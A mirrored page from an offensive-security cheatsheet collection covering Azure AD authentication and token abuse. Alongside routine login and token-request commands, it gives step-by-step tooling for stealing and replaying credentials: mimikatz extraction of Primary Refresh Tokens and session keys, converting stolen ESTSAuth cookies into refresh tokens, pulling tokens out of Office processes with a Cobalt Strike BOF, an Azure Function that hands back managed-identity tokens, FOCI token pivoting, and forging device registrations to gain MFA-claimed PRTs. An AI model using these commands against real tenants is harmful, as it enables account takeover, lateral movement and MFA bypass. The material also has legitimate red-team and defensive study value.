daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

azure-access-and-token.md (17953B)


      1 ---
      2 title: "Azure AD - Access and Tokens"
      3 section: "Cloud"
      4 sectionSlug: "cloud"
      5 sourcePath: "docs/cloud/azure/azure-access-and-token.md"
      6 sourceUrl: "https://github.com/swisskyrepo/InternalAllTheThings/blob/203bb0c0b290/docs/cloud/azure/azure-access-and-token.md"
      7 sha: "203bb0c0b290"
      8 isIndex: false
      9 ---
     10 
     11 # Azure AD - Access and Tokens
     12 
     13 ## Connection
     14 
     15 When you authenticate to the Microsoft Graph API in PowerShell/CLI, you will be using an application from a Microsoft's tenant.
     16 
     17 * [Microsoft Applications ID](https://learn.microsoft.com/fr-fr/troubleshoot/azure/active-directory/verify-first-party-apps-sign-in)
     18 * [Entra ID First Party Apps & Scope Browser](https://entrascopes.com/)
     19 
     20 | Name                       | Application ID                       |
     21 |----------------------------|--------------------------------------|
     22 | Microsoft Azure PowerShell | 1950a258-227b-4e31-a9cf-717495945fc2 |
     23 | Microsoft Azure CLI        | 04b07795-8ddb-461a-bbee-02f9e1bf7b46 |
     24 | Portail Azure              | c44b4083-3bb0-49c1-b47d-974e53cbdf3c |
     25 
     26 After a successfull authentication, you will get an access token.
     27 
     28 ### az cli
     29 
     30 * Login with credentials
     31 
     32     ```ps1
     33     az login -u <username> -p <password>
     34     az login --service-principal -u <app-id> -p <password> --tenant <tenant-id>
     35     ```
     36 
     37 * Get token
     38 
     39     ```ps1
     40     az account get-access-token
     41     az account get-access-token --resource-type aad-graph
     42     ```
     43 
     44 Whoami equivalent: `az ad signed-in-user show`
     45 
     46 ### Azure AD Powershell
     47 
     48 * Login with credentials
     49 
     50     ```ps1
     51     $passwd = ConvertTo-SecureString "<PASSWORD>" -AsPlainText -Force
     52     $creds = New-Object System.Management.Automation.PSCredential("test@<TENANT NAME>.onmicrosoft.com", $passwd)
     53     Connect-AzureAD -Credential $creds
     54     ```
     55 
     56 ### Az Powershell
     57 
     58 * Login with credentials
     59 
     60     ```ps1
     61     $passwd = ConvertTo-SecureString "<PASSWORD>" -AsPlainText -Force
     62     $creds = New-Object System.Management.Automation.PSCredential ("<USERNAME>@<TENANT NAME>.onmicrosoft.com", $passwd)
     63     Connect-AzAccount -Credential $creds
     64     ```
     65 
     66 * Login with service principal secret
     67 
     68     ```ps1
     69     $password = ConvertTo-SecureString '<SECRET>' -AsPlainText -Force
     70     $creds = New-Object System.Management.Automation.PSCredential('<APP-ID>', $password)
     71     Connect-AzAccount -ServicePrincipal -Credential $creds -Tenant 29sd87e56-a192-a934-bca3-0398471ab4e7d
     72 
     73     ```
     74 
     75 * Get token
     76 
     77     ```ps1
     78     (Get-AzAccessToken -ResourceUrl https://graph.microsoft.com).Token
     79     Get-AzAccessToken -ResourceTypeName MSGraph
     80     ```
     81 
     82 ### Microsoft Graph Powershell
     83 
     84 * Login with credentials
     85 
     86     ```ps1
     87     Connect-MgGraph
     88     Connect-MgGraph -Scopes "User.Read.All", "Group.ReadWrite.All"
     89     ```
     90 
     91 * Login with device code flow
     92 
     93     ```ps1
     94     Connect-MgGraph -Scopes "User.Read.All", "Group.ReadWrite.All" -UseDeviceAuthentication
     95     ```
     96 
     97 Whoami equivalent: `Get-MgContext`
     98 
     99 ### External HTTP API
    100 
    101 * Login with credentials
    102 
    103     ```ps1
    104     # TODO
    105     ```
    106 
    107 #### Device Code
    108 
    109 Request a device code
    110 
    111 ```ps1
    112 $body = @{
    113     "client_id" =     "1950a258-227b-4e31-a9cf-717495945fc2"
    114     "resource" =      "https://graph.microsoft.com"
    115 }
    116 $UserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36"
    117 $Headers=@{}
    118 $Headers["User-Agent"] = $UserAgent
    119 $authResponse = Invoke-RestMethod `
    120     -UseBasicParsing `
    121     -Method Post `
    122     -Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" `
    123     -Headers $Headers `
    124     -Body $body
    125 $authResponse
    126 ```
    127 
    128 Go to device login [microsoft.com/devicelogin](https://login.microsoftonline.com/common/oauth2/deviceauth) and input the device code. Then ask for an access token.
    129 
    130 ```ps1
    131 $body=@{
    132     "client_id" =  "1950a258-227b-4e31-a9cf-717495945fc2"
    133     "grant_type" = "urn:ietf:params:oauth:grant-type:device_code"
    134     "code" =       $authResponse.device_code
    135 }
    136 $Tokens = Invoke-RestMethod `
    137     -UseBasicParsing `
    138     -Method Post `
    139     -Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0" `
    140     -Headers $Headers `
    141     -Body $body
    142 $Tokens
    143 ```
    144 
    145 #### Service Principal
    146 
    147 * Request an access token using a **service principal password**
    148 
    149     ```ps1
    150     curl --location --request POST 'https://login.microsoftonline.com/<tenant-name>/oauth2/v2.0/token' \
    151     --header 'Content-Type: application/x-www-form-urlencoded' \
    152     --data-urlencode 'client_id=<client-id>' \
    153     --data-urlencode 'scope=https://graph.microsoft.com/.default' \
    154     --data-urlencode 'client_secret=<client-secret>' \
    155     --data-urlencode 'grant_type=client_credentials'
    156     ```
    157 
    158 #### App Secret
    159 
    160 An App Secret (also called a client secret) is a string used for securing communication between an application and Azure Active Directory (Azure AD). It is a credential that the application uses along with its client ID to authenticate itself when accessing Azure resources, such as APIs or other services, on behalf of a user or a system.
    161 
    162 ```ps1
    163 $appid = '<app-id>'
    164 $tenantid = '<tenant-id>'
    165 $secret = '<app-secret>'
    166  
    167 $body =  @{
    168     Grant_Type    = "client_credentials"
    169     Scope         = "https://graph.microsoft.com/.default"
    170     Client_Id     = $appid
    171     Client_Secret = $secret
    172 }
    173  
    174 $connection = Invoke-RestMethod `
    175     -Uri https://login.microsoftonline.com/$tenantid/oauth2/v2.0/token `
    176     -Method POST `
    177     -Body $body
    178 
    179 Connect-MgGraph -AccessToken $connection.access_token
    180 ```
    181 
    182 ### Internal HTTP API
    183 
    184 > **MSI_ENDPOINT** is an alias for **IDENTITY_ENDPOINT**, and **MSI_SECRET** is an alias for **IDENTITY_HEADER**.
    185 
    186 Find `IDENTITY_HEADER` and `IDENTITY_ENDPOINT` from the environment variables: `env`
    187 
    188 Most of the time, you want a token for one of these resources:
    189 
    190 * <https://graph.microsoft.com>
    191 * <https://management.azure.com>
    192 * <https://storage.azure.com>
    193 * <https://vault.azure.net>
    194 
    195 * PowerShell
    196 
    197     ```ps1
    198     curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
    199     curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
    200     ```
    201 
    202 * Azure Function (Python)
    203 
    204     ```py
    205     import logging, os
    206     import azure.functions as func
    207 
    208     def main(req: func.HttpRequest) -> func.HttpResponse:
    209         logging.info('Python HTTP trigger function processed a request.')
    210         IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT']
    211         IDENTITY_HEADER = os.environ['IDENTITY_HEADER']
    212         cmd = 'curl "%s?resource=https://management.azure.com&apiversion=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)
    213         val = os.popen(cmd).read()
    214         return func.HttpResponse(val, status_code=200)
    215     ```
    216 
    217 ## Access Token
    218 
    219 An access token is a type of security token issued by Azure Active Directory (Azure AD) that grants a user or application permission to access resources. These resources could be anything from APIs, web applications, data stored in Azure, or other services that are integrated with Azure AD for authentication and authorization.
    220 
    221 Decode access tokens: [jwt.ms](https://jwt.ms/)
    222 
    223 * Use the access token with **MgGraph**
    224 
    225     ```ps1
    226     # use the jwt
    227     $token = "eyJ0eXAiO..."
    228     $secure = $token | ConvertTo-SecureString -AsPlainText -Force
    229     Connect-MgGraph -AccessToken $secure
    230     ```
    231 
    232 * Use the access token with **AzureAD**
    233 
    234     ```powershell
    235     Connect-AzureAD -AadAccessToken <access-token> -TenantId <tenant-id> -AccountId <account-id>
    236     ```
    237 
    238 * Use the access token with **Az Powershell**
    239 
    240     ```powershell
    241     Connect-AzAccount -AccessToken <access-token> -AccountId <account-id>
    242     Connect-AzAccount -AccessToken <access-token> -GraphAccessToken <graph-access-token> -AccountId <account-id>
    243     ```
    244 
    245 * Use the access token with the **API**
    246 
    247     ```powershell
    248     $Token = 'eyJ0eX..'
    249     $URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01'
    250     # $URI = 'https://graph.microsoft.com/v1.0/applications'
    251     $RequestParams = @{
    252         Method = 'GET'
    253         Uri = $URI
    254         Headers = @{
    255             'Authorization' = "Bearer $Token"
    256         }
    257     }
    258     (Invoke-RestMethod @RequestParams).value 
    259     ```
    260 
    261 ### Access Token Locations
    262 
    263 Tokens are stored by default on the disk in you use **Azure Cloud Shell**. They canbe extracted by dumping the content of the storage account.
    264 
    265 * az cli
    266     * az cli stores access tokens in clear text in **accessTokens.json** in the directory `C:\Users\<username>\.Azure`
    267     * azureProfile.json in the same directory contains information about subscriptions.
    268 
    269 * Az PowerShell
    270     * Az PowerShell stores access tokens in clear text in **TokenCache.dat** in the directory `C:\Users\<username>\.Azure`
    271     * It also stores **ServicePrincipalSecret** in clear-text in **AzureRmContext.json**
    272     * Users can save tokens using `Save-AzContext`
    273 
    274 ## Refresh Token
    275 
    276 * Requesting a token using credentials
    277 
    278     ```ps1
    279     TODO
    280     ```
    281 
    282 ### Get a Refresh Token from ESTSAuth Cookie
    283 
    284 `ESTSAuthPersistent` is only useful when a CA policy actually grants a persistent session. Otherwise, you should use `ESTSAuth`.
    285 
    286 ```ps1
    287 TokenTacticsV2> Get-AzureTokenFromESTSCookie -ESTSAuthCookie "0.AS8"
    288 TokenTacticsV2> Get-AzureTokenFromESTSCookie -Client MSTeams -ESTSAuthCookie "0.AbcAp.."
    289 ```
    290 
    291 ### Get a Refresh Token from Office process
    292 
    293 * [trustedsec/CS-Remote-OPs-BOF](https://github.com/trustedsec/CS-Remote-OPs-BOF)
    294 
    295 ```ps1
    296 load bofloader
    297 execute_bof /opt/CS-Remote-OPs-BOF/Remote/office_tokens/office_tokens.x64.o --format-string i  7324
    298 ```
    299 
    300 ## FOCI Refresh Token
    301 
    302 Family of client ids (FOCI) allows applications registered with Azure AD to share tokens, minimizing the need for separate authentications when a user accesses multiple applications that are part of the same "family."
    303 
    304 * [secureworks/family-of-client-ids-research/](https://github.com/secureworks/family-of-client-ids-research/blob/main/scope-map.txt) - Research into Undocumented Behavior of Azure AD Refresh Tokens
    305 
    306 **Generate tokens**
    307 
    308 ```ps1
    309 roadtx gettokens --refresh-token <refresh-token> -c <foci-id> -r https://graph.microsoft.com 
    310 roadtx gettokens --refresh-token <refresh-token> -c 04b07795-8ddb-461a-bbee-02f9e1bf7b46
    311 ```
    312 
    313 ```ps1
    314 scope               resource                                client                              
    315 .default            04b07795-8ddb-461a-bbee-02f9e1bf7b46    04b07795-8ddb-461a-bbee-02f9e1bf7b46
    316                     1950a258-227b-4e31-a9cf-717495945fc2    1950a258-227b-4e31-a9cf-717495945fc2
    317                     https://graph.microsoft.com             00b41c95-dab0-4487-9791-b9d2c32c80f2
    318                                                             04b07795-8ddb-461a-bbee-02f9e1bf7b46
    319                     https://graph.windows.net               00b41c95-dab0-4487-9791-b9d2c32c80f2
    320                                                             04b07795-8ddb-461a-bbee-02f9e1bf7b46
    321                     https://outlook.office.com              00b41c95-dab0-4487-9791-b9d2c32c80f2
    322                                                             04b07795-8ddb-461a-bbee-02f9e1bf7b46
    323 Files.Read.All      d3590ed6-52b3-4102-aeff-aad2292ab01c    d3590ed6-52b3-4102-aeff-aad2292ab01c
    324                     https://graph.microsoft.com             3590ed6-52b3-4102-aeff-aad2292ab01c
    325                     https://outlook.office.com              1fec8e78-bce4-4aaf-ab1b-5451cc387264
    326 Mail.ReadWrite.All  https://graph.microsoft.com             00b41c95-dab0-4487-9791-b9d2c32c80f2
    327                     https://outlook.office.com              00b41c95-dab0-4487-9791-b9d2c32c80f2
    328                     https://outlook.office365.com           00b41c95-dab0-4487-9791-b9d2c32c80f2
    329 ```
    330 
    331 ## Primary Refresh Token
    332 
    333 A Primary Refresh Token (PRT) is a key artifact in the authentication and identity management process in Microsoft's Azure AD (Azure Active Directory) environment. The PRT is primarily used for maintaining a seamless sign-in experience on devices.
    334 
    335 :warning: A PRT is valid for 90 days and is continuously renewed as long as the device is in use. However, it's only valid for 14 days if the device is not in use.
    336 
    337 * Use PRT token
    338 
    339     ```ps1
    340     roadtx browserprtauth --prt <prt-token> --prt-sessionkey <session-key>
    341     roadtx browserprtauth --prt roadtx.prt -url http://www.office.com
    342     ```
    343 
    344 ### Extract PRT v1 - Pass-the-PRT
    345 
    346 MimiKatz (version 2.2.0 and above) can be used to attack (hybrid) Azure AD joined machines for lateral movement attacks via the Primary Refresh Token (PRT) which is used for Azure AD SSO (single sign-on).
    347 
    348 * Use mimikatz to extract the PRT and session key
    349 
    350     ```ps1
    351     mimikatz # privilege::debug
    352     mimikatz # token::elevate
    353     mimikatz # sekurlsa::cloudap
    354     mimikatz # sekurlsa::dpapi
    355     mimikatz # dpapi::cloudapkd /keyvalue:<key-value> /unprotect
    356     mimikatz # dpapi::cloudapkd /context:<context> /derivedkey:<derived-key> /Prt:<prt>
    357     ```
    358 
    359 * Use either roadtx or AADInternals to generate a new PRT token
    360 
    361     ```ps1
    362     roadtx browserprtauth --prt <prt> --prt-sessionkey <clear-key> --keep-open -url https://portal.azure.com
    363 
    364     PS> Import-Module C:\Tools\AADInternals\AADInternals.psd1
    365     PS AADInternals> $PRT_OF_USER = '...'
    366     PS AADInternals> while($PRT_OF_USER.Length % 4) {$PRT_OF_USER += "="}
    367     PS AADInternals> $PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($PRT_OF_USER))
    368     PS AADInternals> $ClearKey = "XXYYZZ..."
    369     PS AADInternals> $SKey = [convert]::ToBase64String( [byte[]] ($ClearKey -replace '..', '0x$&,' -split ',' -ne ''))
    370     PS AADInternals> New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -GetNonce
    371     ```
    372 
    373 ### Extract PRT on Device with TPM
    374 
    375 * No method known to date.
    376 
    377 ### Request a PRT using the Refresh Flow
    378 
    379 * Request a nonce from AAD: `roadrecon auth --prt-init -t <tenant-id>`
    380 * Use [dirkjanm/ROADtoken](https://github.com/dirkjanm/ROADtoken) or [wotwot563/aad_prt_bof](https://github.com/wotwot563/aad_prt_bof) to initiate a new PRT request.
    381 * `roadrecon auth --prt-cookie <prt-cookie> --tokens-stdout --debug` or  `roadtx gettoken --prt-cookie <x-ms-refreshtokencredential>`
    382 * Then browse to [login.microsoftonline.com](https://login.microsoftonline.com) with a cookie `x-ms-RefreshTokenCredential:<output-from-roadrecon>`
    383 
    384     ```powershell
    385     Name: x-ms-RefreshTokenCredential
    386     Value: <Signed JWT>
    387     HttpOnly: √
    388     ```
    389 
    390 :warning: Mark the cookie with the flags `HTTPOnly` and `Secure`.
    391 
    392 ### Request a PRT with Hybrid Device
    393 
    394 Requirements:
    395 
    396 * ADDS user credentials
    397 * hybrid environment (ADDS and Azure AD)
    398 
    399 Use the user account to create a computer and request a PRT
    400 
    401 * Create a computer account in AD: `impacket-addcomputer <domain>/<username>:<password> -dc-ip <dc-ip>`
    402 * Configure the computer certificate in AD with [dirkjanm/roadtools_hybrid](https://github.com/dirkjanm/roadtools_hybrid): `python setcert.py 10.10.10.10  -t '<machine-account$>' -u '<domain>\<machine-account$>' -p <machine-password>`
    403 * Register the hybrid device in Azure AD with this certificate: `roadtx hybriddevice -c '<machine-account>.pem' -k '<machine-account>.key' --sid '<device-sid>' -t '<aad-tenant-id>'`
    404 * Get a PRT with device claim
    405 
    406     ```ps1
    407     roadtx prt -c <hybrid-device-name>.pem -k <hybrid-device-name>.key -u <username>@h<domain> -p <password>
    408     roadtx browserprtauth --prt <prt-token> --prt-sessionkey <prt-session-key> --keep-open -url https://portal.azure.com
    409     ```
    410 
    411 ### Upgrade Refresh Token to PRT
    412 
    413 * Get correct token audience: `roadtx gettokens -c 29d9ed98-a469-4536-ade2-f981bc1d605e -r urn:ms-drs:enterpriseregistration.windows.net --refresh-token file`
    414 * Registering device: `roadtx device -a register -n <device-name>`
    415 * Request PRT `roadtx prt --refresh-token <refresh-token> -c <device-name>.pem -k <device-name>.key`
    416 * Use a PRT: `roadtx browserprtauth --prt <prt-token> --prt-sessionkey <prt-session-key> --keep-open -url https://portal.azure.com`
    417 
    418 ### Enriching a PRT with MFA claim
    419 
    420 * Request a special refresh token: `roadtx prtenrich -u username@domain`
    421 * Request a PRT with MFA claim: `roadtx prt -r <refreshtoken> -c <device>.pem -k <device>.key`
    422 
    423 ## References
    424 
    425 * [Introducing ROADtools - The Azure AD exploration framework - Dirk-jan Mollema - April 16, 2020](https://dirkjanm.io/introducing-roadtools-and-roadrecon-azure-ad-exploration-framework/)
    426 * [Hacking Your Cloud: Tokens Edition 2.0 - Edwin David - April 13, 2023](https://trustedsec.com/blog/hacking-your-cloud-tokens-edition-2-0)
    427 * [Microsoft 365 Developer Program](https://developer.microsoft.com/en-us/microsoft-365/dev-program)
    428 * [PRT Abuse from Userland with Cobalt Strike - 0xbad53c](https://red.0xbad53c.com/red-team-operations/azure-and-o365/prt-abuse-from-userland-with-cobalt-strike)
    429 * [Pass-the-PRT attack and detection by Microsoft Defender for … - Derk van der Woude - Jun 9](https://derkvanderwoude.medium.com/pass-the-prt-attack-and-detection-by-microsoft-defender-for-afd7dbe83c94)
    430 * [Journey to Azure AD PRT: Getting access with pass-the-token and pass-the-cert - AADInternals.com - September 01, 2020](https://aadinternals.com/post/prt/)
    431 * [Get Access Tokens for Managed Service Identity on Azure App Service](https://zhiliaxu.github.io/app-service-managed-identity.html)
    432 * [Attacking Azure Cloud shell - Karl Fosaaen - December 10, 2019](https://blog.netspi.com/attacking-azure-cloud-shell/)
    433 * [Azure AD Pass The Certificate - Mor - Aug 19, 2020](https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597)
    434 * [Azure Privilege Escalation Using Managed Identities - Karl Fosaaen - February 20th, 2020](https://blog.netspi.com/azure-privilege-escalation-using-managed-identities/)
    435 * [Hunting Azure Admins for Vertical Escalation - LEE KAGAN - MARCH 13, 2020](https://www.lares.com/hunting-azure-admins-for-vertical-escalation/)
    436 * [Training - Attacking and Defending Azure Lab - Altered Security](https://www.alteredsecurity.com/azureadlab)
    437 * [Understanding Tokens in Entra ID: A Comprehensive Guide - Lina Lau - September 18, 2024](https://www.xintra.org/blog/tokens-in-entra-id-guide)